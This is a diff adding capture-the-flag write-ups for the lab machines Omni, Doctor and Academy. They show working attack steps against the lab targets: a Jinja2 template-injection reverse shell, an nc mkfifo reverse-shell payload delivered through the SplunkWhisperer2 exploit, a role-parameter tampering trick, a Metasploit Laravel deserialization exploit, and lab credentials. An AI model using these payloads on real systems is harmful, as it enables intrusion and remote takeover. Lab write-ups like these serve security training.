from 10.10.10.204:49677 + 2021/06/02 19:12:32 Stream established + + [*] Auto-Plugins: + [xc: C:\windows\system32]: !shell + Microsoft Windows [Version 10.0.17763.107] + Copyright (c) Microsoft Corporation. All rights reserved. + + C:\windows\system32>cd ../../.. + cd ../../.. + + C:\>cd Data + cd Data + + C:\Data>powershell + powershell + Windows PowerShell + Copyright (C) Microsoft Corporation. All rights reserved. + + PS C:\Data\> cd Users\administrator + cd Users\administrator + + PS C:\Data\Users\administrator> ls + ls + + + Directory: C:\Data\Users\administrator + + + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + d-r--- 7/3/2020 11:23 PM 3D Objects + d-r--- 7/3/2020 11:23 PM Documents + d-r--- 7/3/2020 11:23 PM Downloads + d----- 7/3/2020 11:23 PM Favorites + d-r--- 7/3/2020 11:23 PM Music + d-r--- 7/3/2020 11:23 PM Pictures + d-r--- 7/3/2020 11:23 PM Videos + -ar--- 7/4/2020 9:48 PM 1958 root.txt + + + PS C:\Data\Users\administrator> (Import-CliXml -Path root.txt).GetNetworkCredential() | fl + (Import-CliXml -Path root.txt).GetNetworkCredential() | fl + + + UserName : flag + Password : 5dXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + Domain : + + + +And that's it! We managed to get the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/50_graph.png) + diff --git a/Easy/51.md b/Easy/51.md new file mode 100644 index 0000000..c93e2c5 --- /dev/null +++ b/Easy/51.md @@ -0,0 +1,347 @@ +# Doctor Writeup + +![](img/51.png) + +## Introduction : + +Doctor is an Easy Linux box released back in September 2020. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.10.14.13/23 ] [ /dev/pts/57 ] [HTB/Omni/SirepRAT] + → nmap -vvv -p- 10.10.10.209 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered + Discovered open port 22/tcp on 10.10.10.209 + Discovered open port 80/tcp on 10.10.10.209 + Discovered open port 8089/tcp on 10.10.10.209 + + [ 10.10.14.13/23 ] [ /dev/pts/57 ] [HTB/Omni/SirepRAT] + → nmap -sCV -p22,80,8089 10.10.10.209 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-02 22:00 CEST + Nmap scan report for 10.10.10.209 + Host is up (0.035s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 3072 59:4d:4e:c2:d8:cf:da:9d:a8:c8:d0:fd:99:a8:46:17 (RSA) + | 256 7f:f3:dc:fb:2d:af:cb:ff:99:34:ac:e0:f8:00:1e:47 (ECDSA) + |_ 256 53:0e:96:6b:9c:e9:c1:a1:70:51:6c:2d:ce:7b:43:e8 (ED25519) + 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) + |_http-server-header: Apache/2.4.41 (Ubuntu) + |_http-title: Doctor + 8089/tcp open ssl/http Splunkd httpd + | http-robots.txt: 1 disallowed entry + |_/ + |_http-server-header: Splunkd + |_http-title: splunkd + | ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser + | Not valid before: 2020-09-06T15:57:27 + |_Not valid after: 2023-09-06T15:57:27 + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 33.57 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 so let's take a look at it: + +![](prg/51_001.png) + +Looking at the website we are hinted towards a domain name: **doctors.htb** so let's add it to our hosts file: + + + [ 10.10.14.13/23 ] [ /dev/pts/57 ] [HTB/Omni/SirepRAT] + → sudo -i + ┌──(root💀nowhere)-[~] + └─# /usr/bin/sudo + + ┌──(root💀nowhere)-[~] + └─# echo '10.10.10.209 doctors.htb' >> /etc/hosts + + ┌──(root💀nowhere)-[~] + └─# exit + + [ 10.10.14.13/23 ] [ /dev/pts/57 ] [~/HTB/Doctors] + → ping doctors.htb + PING doctors.htb (10.10.10.209) 56(84) bytes of data. + 64 bytes from doctors.htb (10.10.10.209): icmp_seq=1 ttl=63 time=32.4 ms + 64 bytes from doctors.htb (10.10.10.209): icmp_seq=2 ttl=63 time=32.9 ms + 64 bytes from doctors.htb (10.10.10.209): icmp_seq=3 ttl=63 time=32.3 ms + ^C + --- doctors.htb ping statistics --- + 3 packets transmitted, 3 received, 0% packet loss, time 2002ms + rtt min/avg/max/mdev = 32.309/32.518/32.861/0.244 ms + + + +Then we visit the webpage: + +![](prg/51_002.png) ![](prg/51_003.png) ![](prg/51_004.png) ![](prg/51_005.png) ![](prg/51_006.png) + +Now that we created an account we're going to create a test post: + +![](prg/51_007.png) ![](prg/51_008.png) + +And looking at the sourcecode of the page we get a hint that the **/archive** page is still under beta testing. So let's take a look at it: + + + [ 10.10.14.13/23 ] [ /dev/pts/57 ] [~/HTB/Doctors] + → curl http://doctors.htb/archive + + <****?xml version="1.0" encoding="UTF-8" ?> <****rss version="2.0"> <****channel> <****title>Archive <****/title> + +Now here we see that the test post we created earlier is visible there, inside the title tags, now the question is wether or not the title of the post itself is sanitized or not, so let's test if this is vulnerable to a Server Side Template Injection ([SSTI](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection)) attack + +![](prg/51_009.png) + +So let's test each of the payloads: + +![](prg/51_010.png) ![](prg/51_011.png) ![](prg/51_012.png) ![](prg/51_013.png) + +Now we know that **Twig** or **Jinja2** templates are probably in use. So let's get a reverse shell: + + + + {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\"10.10.14.13\",9001)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %} + + + + +` ![](prg/51_014.png) ![](prg/51_015.png) + +Then just browse to **http://doctors.htb/archive** and we get the reverse shell connection: + + + [ 10.10.14.13/23 ] [ /dev/pts/57 ] [~/HTB/Doctors] + → nc -lvnp 9001 + listening on [any] 9001 ... + connect to [10.10.14.13] from (UNKNOWN) [10.10.10.209] 48082 + bash: cannot set terminal process group (840): Inappropriate ioctl for device + bash: no job control in this shell + web@doctor:~$ id + id + uid=1001(web) gid=1001(web) groups=1001(web),4(adm) + web@doctor:~$ + + + +Now let's upgrade our shell to a fully interactive shell: + + + web@doctor:~$ which python python3 wget curl + which python python3 wget curl + /usr/bin/python3 + /usr/bin/wget + /usr/bin/curl + + + + + web@doctor:~$ python3 -c 'import pty; pty.spawn("/bin/bash")' + python3 -c 'import pty; pty.spawn("/bin/bash")' + web@doctor:~$ ^Z + [1] + 2659972 suspended nc -lvnp 9001 + + [ 10.10.14.13/23 ] [ /dev/pts/57 ] [~/HTB/Doctors] + → stty raw -echo ; fg + [1] + 2659972 continued nc -lvnp 9001 + export TERM=screen-256color + web@doctor:~$ export SHELL=bash + web@doctor:~$ stty rows 40 columns 125 + web@doctor:~$ reset + + + + +Now that we got a fully interactive TTY reverse shell, let's enumerate the box with linpeas: + + + [ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Doctors] + → cp /home/nothing/Tools/privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh . + + [ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Doctors] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + web@doctor:~$ wget http://10.10.14.13:9090/linpeas.sh -O /tmp/peas.sh + --2021-06-03 15:39:34-- http://10.10.14.13:9090/linpeas.sh + Connecting to 10.10.14.13:9090... connected. + HTTP request sent, awaiting response... 200 OK + Length: 341863 (334K) [text/x-sh] + Saving to: ‘/tmp/peas.sh’ + + /tmp/peas.sh 100%[====================================================>] 333,85K 698KB/s in 0,5s + + 2021-06-03 15:39:35 (698 KB/s) - ‘/tmp/peas.sh’ saved [341863/341863] + + web@doctor:~$ chmod +x /tmp/peas.sh + + web@doctor:~$ /tmp/peas.sh + + + +` ![](prg/51_017.png) + +Let it run and then in the output we see the following password: + +![](prg/51_018.png) + +Let's check which of the users have that password: + + + web@doctor:~$ cat /etc/passwd | grep bash + root:x:0:0:root:/root:/bin/bash + web:x:1001:1001:,,,:/home/web:/bin/bash + shaun:x:1002:1002:shaun,,,:/home/shaun:/bin/bash + splunk:x:1003:1003:Splunk Server:/opt/splunkforwarder:/bin/bash + + web@doctor:~$ ls -lash /home + total 16K + 4,0K drwxr-xr-x 4 root root 4,0K Sep 19 2020 . + 4,0K drwxr-xr-x 20 root root 4,0K Sep 15 2020 .. + 4,0K drwxr-xr-x 6 shaun shaun 4,0K Sep 15 2020 shaun + 4,0K drwxr-xr-x 7 web web 4,0K Jun 3 15:42 web + + +Let's try the shaun user: + + + web@doctor:~$ su shaun + Password: + shaun@doctor:/home/web$ id + uid=1002(shaun) gid=1002(shaun) groups=1002(shaun) + shaun@doctor:/home/web$ cd ~ + shaun@doctor:~$ cat user.txt + 7cXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to privesc to the shaun user and get the user flag. + +## **Part 3 : Getting Root Access** + +Now in order to privesc to the root user, let's run linpeas.sh once more, this time as the shaun user: + + + shaun@doctor:~$ /tmp/peas.sh + + + +Although suprisingly we get nothing interesting other than hints towards the splunk service that's running on port 8089 + +![](prg/51_019.png) + + + shaun@doctor:~$ ps -aux | grep splunk + root 1139 0.0 2.0 257468 83740 ? Sl Jun02 0:40 splunkd -p 8089 start + root 1141 0.0 0.3 77664 13340 ? Ss Jun02 0:00 [splunkd pid=1139] splunkd -p 8089 start [process-runner] + shaun 429634 0.0 0.0 17668 736 pts/0 S+ 16:01 0:00 grep --color=auto splunk + + + +And we also see that the splunk daemon is ran by the root user: + +![](prg/51_020.png) + +Here we can assume that shaun's PAM password is re-used for the splunk service, so let's try it out with the Splunk Whisperer2 python exploit: + + + [ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Doctors] + → git clone https://github.com/cnotin/SplunkWhisperer2 + + [ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Doctors] + → cd SplunkWhisperer2 + + [ 10.10.14.13/23 ] [ /dev/pts/51 ] [HTB/Doctors/SplunkWhisperer2] + → tree + . + ├── LICENSE + ├── PySplunkWhisperer2 + │   ├── build_exe.bat + │   ├── PySplunkWhisperer2_local.py + │   ├── PySplunkWhisperer2_remote.py + │   ├── README.md + │   └── requirements.txt + ├── README.md + └── SharpSplunkWhisperer2 + ├── app.config + ├── FodyWeavers.xml + ├── packages.config + ├── Program.cs + ├── README.md + ├── SharpSplunkWhisperer2.csproj + └── SharpSplunkWhisperer2.sln + + 2 directories, 14 files + + +Let's test it using shaun's credentials: + + + [ 10.10.14.13/23 ] [ /dev/pts/51 ] [HTB/Doctors/SplunkWhisperer2] + → cd PySplunkWhisperer2 + + [ 10.10.14.13/23 ] [ /dev/pts/51 ] [Doctors/SplunkWhisperer2/PySplunkWhisperer2] + → python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.13 --username shaun --password Guitar123 --payload id + Running in remote mode (Remote Code Execution) + [.] Authenticating... + [+] Authenticated + [.] Creating malicious app bundle... + [+] Created malicious app bundle in: /tmp/tmptx03ln_m.tar + [+] Started HTTP server for remote mode + [.] Installing app from: http://10.10.14.13:8181/ + 10.10.10.209 - - [03/Jun/2021 15:56:31] "GET / HTTP/1.1" 200 - + [+] App installed, your code should be running now! + + Press RETURN to cleanup + + [.] Removing app... + [+] App removed + [+] Stopped HTTP server + Bye! + + +Seems to be working although we can't see the output of the command, so let's do it with a reverse shell this time: + + + [ 10.10.14.13/23 ] [ /dev/pts/51 ] [Doctors/SplunkWhisperer2/PySplunkWhisperer2] + → python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.13 --username shaun --password Guitar123 --payload 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.13 9002 >/tmp/f' + Running in remote mode (Remote Code Execution) + [.] Authenticating... + [+] Authenticated + [.] Creating malicious app bundle... + [+] Created malicious app bundle in: /tmp/tmprb66z6y4.tar + [+] Started HTTP server for remote mode + [.] Installing app from: http://10.10.14.13:8181/ + 10.10.10.209 - - [03/Jun/2021 15:58:45] "GET / HTTP/1.1" 200 - + [+] App installed, your code should be running now! + + Press RETURN to cleanup + + + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [Doctors/SplunkWhisperer2/PySplunkWhisperer2] + → nc -lvnp 9002 + listening on [any] 9002 ... + connect to [10.10.14.13] from (UNKNOWN) [10.10.10.209] 33510 + /bin/sh: 0: can't access tty; job control turned off + # id + uid=0(root) gid=0(root) groups=0(root) + # cat /root/root.txt + 50XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to get a reverse shell as the root user and we managed to print the root flag! + +## **Conclusion** + +Here we can see the progress graph : + +![](img/51_graph.png) + diff --git a/Easy/52.md b/Easy/52.md new file mode 100644 index 0000000..78dcca5 --- /dev/null +++ b/Easy/52.md @@ -0,0 +1,710 @@ +# Academy Writeup + +![](img/52.png) + +## Introduction : + +Academy is an easy Linux box released back in November 2020. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [~/HTB/Academy] + → nmap -vvv -p- 10.10.10.215 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered + Discovered open port 80/tcp on 10.10.10.215 + Discovered open port 22/tcp on 10.10.10.215 + Discovered open port 33060/tcp on 10.10.10.215 + + [ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Academy] + → nmap -sCV -p80,22,33060 10.10.10.215 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-03 16:45 CEST + Nmap scan report for 10.10.10.215 + Host is up (0.035s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 3072 c0:90:a3:d8:35:25:6f:fa:33:06:cf:80:13:a0:a5:53 (RSA) + | 256 2a:d5:4b:d0:46:f0:ed:c9:3c:8d:f6:5d:ab:ae:77:96 (ECDSA) + |_ 256 e1:64:14:c3:cc:51:b2:3b:a6:28:a7:b1:ae:5f:45:35 (ED25519) + 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) + |_http-server-header: Apache/2.4.41 (Ubuntu) + |_http-title: Did not follow redirect to http://academy.htb/ + 33060/tcp open mysqlx? + | fingerprint-strings: + | DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: + | Invalid message" + |_ HY000 + 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : + SF-Port33060-TCP:V=7.91%I=7%D=6/3%Time=60B8EB24%P=x86_64-pc-linux-gnu%r(NU + SF:LL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x0b\x + SF:08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTTPOpt + SF:ions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0\x0b\ + SF:x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSVersi + SF:onBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTCP,2B + SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fIn + SF:valid\x20message\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")% + SF:r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\ + SF:x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TerminalServerCookie, + SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x0b\x0 + SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\ + SF:x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgNeg,9, + SF:"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\x05\x + SF:1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY00 + SF:0")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDString,9 + SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0b\x08 + SF:\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x + SF:05HY000")%r(LDAPBindReq,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SIPOptions, + SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LANDesk-RC,9,"\x05\0\0\0\x0b\x08\x0 + SF:5\x1a\0")%r(TerminalServer,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NCP,9,"\ + SF:x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesRPC,2B,"\x05\0\0\0\x0b\x08\x05\x1a + SF:\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000" + SF:)%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(WMSRequest,9,"\x05\0\0\ + SF:0\x0b\x08\x05\x1a\0")%r(oracle-tns,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r( + SF:ms-sql-s,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(afp,2B,"\x05\0\0\0\x0b\x08 + SF:\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x + SF:05HY000")%r(giop,9,"\x05\0\0\0\x0b\x08\x05\x1a\0"); + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 25.37 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 so let's investigate it: + + + [ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Academy] + → curl 10.10.10.215 + + [ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Academy] + → curl 10.10.10.215 -v + * Trying 10.10.10.215:80... + * Connected to 10.10.10.215 (10.10.10.215) port 80 (#0) + > GET / HTTP/1.1 + > Host: 10.10.10.215 + > User-Agent: curl/7.74.0 + > Accept: */* + > + * Mark bundle as not supporting multiuse + <****HTTP/1.1 302 Found <****Date: Thu, 03 Jun 2021 14:54:22 GMT <****Server: Apache/2.4.41 (Ubuntu) <****Location: http://academy.htb/ <****Content-Length: 0 <****Content-Type: text/html; charset=UTF-8 <***** Connection #0 to host 10.10.10.215 left intact + +As we try to get there we see that we are being redirected to the **academy.htb** domain name just like our nmap scan pointed out, so let's add it to our hosts file: + + + + [ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Academy] + → sudo -i + [sudo] password for nothing: + ┌──(root💀nowhere)-[~] + └─# echo '10.10.10.215 academy.htb' >> /etc/hosts + + ┌──(root💀nowhere)-[~] + └─# exit + + [ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Academy] + → ping academy.htb + PING academy.htb (10.10.10.215) 56(84) bytes of data. + 64 bytes from academy.htb (10.10.10.215): icmp_seq=1 ttl=63 time=34.5 ms + 64 bytes from academy.htb (10.10.10.215): icmp_seq=2 ttl=63 time=40.5 ms + 64 bytes from academy.htb (10.10.10.215): icmp_seq=3 ttl=63 time=38.1 ms + + + +Now let's check out the website: + +![](prg/52_001.png) ![](prg/52_002.png) ![](prg/52_003.png) ![](prg/52_004.png) + +Now here we see that we are on a php website, and we could create and login into a test account. Once logged in, the webpage doesn't have anything to exploit, so let's search for other directories with gobuster: + + + [ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Academy] + → gobuster dir -u http://academy.htb/ -t 50 -w /usr/share/seclists/Discovery/Web-Content/common.txt + =============================================================== + Gobuster v3.1.0 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) + =============================================================== + [+] Url: http://academy.htb/ + [+] Method: GET + [+] Threads: 50 + [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt + [+] Negative Status codes: 404 + [+] User Agent: gobuster/3.1.0 + [+] Timeout: 10s + =============================================================== + 2021/06/03 16:55:19 Starting gobuster in directory enumeration mode + =============================================================== + /.htpasswd (Status: 403) [Size: 276] + /admin.php (Status: 200) [Size: 2633] + /images (Status: 301) [Size: 311] [--> http://academy.htb/images/] + /index.php (Status: 200) [Size: 2117] + /.hta (Status: 403) [Size: 276] + /.htaccess (Status: 403) [Size: 276] + /server-status (Status: 403) [Size: 276] + + =============================================================== + 2021/06/03 16:55:29 Finished + =============================================================== + + + +` ![](prg/52_005.png) + +Now when we go to the admin.php page that our gobuster scan picked up, we see that we need to login to access it, the trick here was to inspect the **register.php** POST request when we were registering an account, and we can do so using burpsuite: + +![](prg/52_006.png) + +We get the following request: + + + POST /register.php HTTP/1.1 + Host: academy.htb + User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 + Accept-Language: en-US,en;q=0.5 + Accept-Encoding: gzip, deflate + Content-Type: application/x-www-form-urlencoded + Content-Length: 44 + Origin: http://academy.htb + Connection: close + Referer: http://academy.htb/register.php + Cookie: PHPSESSID=mvopk0hecu88dl9kugslv1ihdp + Upgrade-Insecure-Requests: 1 + + uid=test&password;=test&confirm;=test**&roleid; =0** + + + +Something we didn't know earlier was the **roleid** post parameter set to 0, so we simply change it to **1** and then forward the intercepted request, and then we login to the **admin.php** page: + +![](prg/52_007.png) + +And upon logging in, we get redirected to **admin-page.php** and we get the following: + +![](prg/52_008.png) + +Here we're getting hinted towards a subdomain **dev-staging-01.academy.htb** , so let's add it to our hosts file: + + + [ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Academy] + → sudo -i + [sudo] password for nothing: + ┌──(root💀nowhere)-[~] + └─# echo '10.10.10.215 dev-staging-01.academy.htb' >> /etc/hosts + + ┌──(root💀nowhere)-[~] + └─# exit + + [ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Academy] + → ping dev-staging-01.academy.htb + PING dev-staging-01.academy.htb (10.10.10.215) 56(84) bytes of data. + 64 bytes from academy.htb (10.10.10.215): icmp_seq=1 ttl=63 time=36.5 ms + 64 bytes from academy.htb (10.10.10.215): icmp_seq=2 ttl=63 time=39.9 ms + 64 bytes from academy.htb (10.10.10.215): icmp_seq=3 ttl=63 time=37.9 ms + + + +Now when we go there we get the following: + +![](prg/52_009.png) + +Now if you read carefully, you see that this is a php laravel framework instance: + +![](prg/52_010.png) + +So let's look for exploits to user on that service: + + + [ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Academy] + → searchsploit laravel + -------------------------------------------------------- --------------------------------- + Exploit Title | Path + -------------------------------------------------------- --------------------------------- + Laravel - 'Hash::make()' Password Truncation Security | multiple/remote/39318.txt + Laravel 8.4.2 debug mode - Remote code execution | php/webapps/49424.py + Laravel Administrator 4 - Unrestricted File Upload (Aut | php/webapps/49112.py + Laravel Log Viewer <****0.13.0 - Local File Download | php/webapps/44343.py + Laravel Nova 3.7.0 - 'range' DoS | php/webapps/49198.txt**PHP Laravel Framework 5.5.40 / 5.6.x <__5.6.30 - token U | linux/remote/47129.rb** + + UniSharp Laravel File Manager 2.0.0 - Arbitrary File Re | php/webapps/48166.txt + UniSharp Laravel File Manager 2.0.0-alpha7 - Arbitrary | php/webapps/46389.py + -------------------------------------------------------- --------------------------------- + Shellcodes: No Results + + +we're going to use the ruby exploit that's for metasploit: + + + [ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Academy] + → msfconsole + + + _---------. + .' ####### ;." + .---,. ;@ @@`; .---,.. + ." @@@@@'.,'@@ @@@@@',.'@@@@ ". + '-.@@@@@@@@@@@@@ @@@@@@@@@@@@@ @; + `.@@@@@@@@@@@@ @@@@@@@@@@@@@@ .' + "--'.@@@ -.@ @ ,'- .'--" + ".@' ; @ @ `. ;' + |@@@@ @@@ @ . + ' @@@ @@ @@ , + `.@@@@ @@ . + ',@@ @ ; _____________ + ( 3 C ) /|___ / Metasploit! \ + ;@'. __*__,." \|--- \_____________/ + '(.,..../ + + + =[ metasploit v6.0.46-dev ] + + -- --=[ 2135 exploits - 1139 auxiliary - 365 post ] + + -- --=[ 592 payloads - 45 encoders - 10 nops ] + + -- --=[ 8 evasion ] + + Metasploit tip: To save all commands executed since start up + to a file, use the makerc command + + msf6 > search laravel + + Matching Modules + ================ + + # Name Disclosure Date Rank Check Description + - ---- --------------- ---- ----- ----------- + 0 exploit/unix/http/laravel_token_unserialize_exec 2018-08-07 excellent Yes PHP Laravel Framework token Unserialize Remote Command Execution + + + Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/http/laravel_token_unserialize_exec + + msf6 > use 0 + [*] Using configured payload cmd/unix/reverse_perl + msf6 exploit(unix/http/laravel_token_unserialize_exec) > show options + + Module options (exploit/unix/http/laravel_token_unserialize_exec): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + APP_KEY no The base64 encoded APP_KEY string from the .env file + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<****path>' + RPORT 80 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes Path to target webapp + VHOST no HTTP server virtual host + + + Payload options (cmd/unix/reverse_perl): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + + Exploit target: + + Id Name + -- ---- + 0 Automatic + +So first let's get the APP key, which we should get from the .env file, but we don't have access to the server yet, so we just grab it from the debug page: + +![](prg/52_011.png) + +Then we fill the rest of the options we need: + + + msf6 exploit(unix/http/laravel_token_unserialize_exec) > set APP_KEY dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= + APP_KEY => dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= + + msf6 exploit(unix/http/laravel_token_unserialize_exec) > set RPORT 80 + RPORT => 80 + + msf6 exploit(unix/http/laravel_token_unserialize_exec) > set RHOSTS 10.10.10.215 + RHOSTS => 10.10.10.215 + + msf6 exploit(unix/http/laravel_token_unserialize_exec) > set VHOST dev-staging-01.academy.htb + VHOST => dev-staging-01.academy.htb + + msf6 exploit(unix/http/laravel_token_unserialize_exec) > set LHOST tun0 + LHOST => 10.10.14.13 + + msf6 exploit(unix/http/laravel_token_unserialize_exec) > exploit + + +And when we launch the exploit: + + + + [*] Started reverse TCP handler on 10.10.14.13:4444 + [*] Command shell session 1 opened (10.10.14.13:4444 -> 10.10.10.215:46024) at 2021-06-04 08:52:16 +0200 + + [*] Command shell session 2 opened (10.10.14.13:4444 -> 10.10.10.215:46026) at 2021-06-04 08:52:16 +0200 + [*] Command shell session 3 opened (10.10.14.13:4444 -> 10.10.10.215:46028) at 2021-06-04 08:52:16 +0200 + [*] Command shell session 4 opened (10.10.14.13:4444 -> 10.10.10.215:46030) at 2021-06-04 08:52:17 +0200 + id + uid=33(www-data) gid=33(www-data) groups=33(www-data) + + +We get remote code execution as www-data! + + + + cat /etc/passwd | grep bash + root:x:0:0:root:/root:/bin/bash + egre55:x:1000:1000:egre55:/home/egre55:/bin/bash + ls -lash /home + total 32K + 4.0K drwxr-xr-x 8 root root 4.0K Aug 10 2020 . + 4.0K drwxr-xr-x 20 root root 4.0K Feb 10 13:12 .. + 4.0K drwxr-xr-x 2 21y4d 21y4d 4.0K Aug 10 2020 21y4d + 4.0K drwxr-xr-x 2 ch4p ch4p 4.0K Aug 10 2020 ch4p + 4.0K drwxr-xr-x 4 cry0l1t3 cry0l1t3 4.0K Aug 12 2020 cry0l1t3 + 4.0K drwxr-xr-x 3 egre55 egre55 4.0K Aug 10 2020 egre55 + 4.0K drwxr-xr-x 2 g0blin g0blin 4.0K Aug 10 2020 g0blin + 4.0K drwxr-xr-x 5 mrb3n mrb3n 4.0K Aug 12 2020 mrb3n + + + +Now here we get alot of different users on this box. However for now let's just get a proper reverse shell: + + + which python python3 curl wget nc + /usr/bin/python3 + /usr/bin/curl + /usr/bin/wget + /usr/bin/nc + + + +Let's upload xc via wget, and then execute it to get a reverse shell: + + + [term1] + + [ 10.10.14.13/23 ] [ /dev/pts/90 ] [~/HTB/Academy] + → cp /home/nothing/HTB/Servmon/xc/xc . + + [ 10.10.14.13/23 ] [ /dev/pts/90 ] [~/HTB/Academy] + → python3 -m http.server 9090 + + + 